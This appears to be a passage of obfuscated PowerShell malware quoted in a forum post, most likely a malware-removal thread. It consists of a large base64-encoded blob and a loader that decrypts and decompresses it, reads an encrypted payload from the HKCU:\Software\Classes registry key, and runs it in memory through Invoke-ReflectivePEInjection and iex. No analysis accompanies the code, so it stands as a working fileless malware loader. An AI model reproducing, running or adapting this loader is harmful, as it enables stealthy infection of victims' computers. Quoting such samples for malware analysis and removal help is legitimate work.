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');
$GWZNUIECUEHLSMGRMU = weeKxfqhRQi -PQOENTHOYDLVBP $GWZNUIECUEHLSMGRMU -VIUakKhFDpgKIq $pelHrHuqoTKBoKhq
$GWZNUIECUEHLSMGRMU = inflatebin -PQOENTHOYDLVBP $GWZNUIECUEHLSMGRMU
	$REFLGWIHPRQIJLWWBCIS = 'HKCU:\Software\Classes\' + $JHXGABBCRMYRRQVYKE;
$PUHScOvARrNTNsGUsFM = '';
if ([IntPtr]::Size -eq 8) {
    $PUHScOvARrNTNsGUsFM = (Get-ItemProperty -Path $REFLGWIHPRQIJLWWBCIS -Name $QIJNRSRJRBEDLBPYWFTI).$QIJNRSRJRBEDLBPYWFTI;
}else{
    $PUHScOvARrNTNsGUsFM = (Get-ItemProperty -Path $REFLGWIHPRQIJLWWBCIS -Name $hCoeIvgItn).$hCoeIvgItn;
}
$PUHScOvARrNTNsGUsFM = weeKxfqhRQi -PQOENTHOYDLVBP $PUHScOvARrNTNsGUsFM -VIUakKhFDpgKIq $pelHrHuqoTKBoKhq
#$PUHScOvARrNTNsGUsFM = inflatebin2 -PQOENTHOYDLVBP $PUHScOvARrNTNsGUsFM
	$GWZNUIECUEHLSMGRMU = $GWZNUIECUEHLSMGRMU + 'Invoke-ReflectivePEInjection -PEBytes $PUHScOvARrNTNsGUsFM;'
iex $GWZNUIECUEHLSMGRMU;
Edited by David H. Lipman
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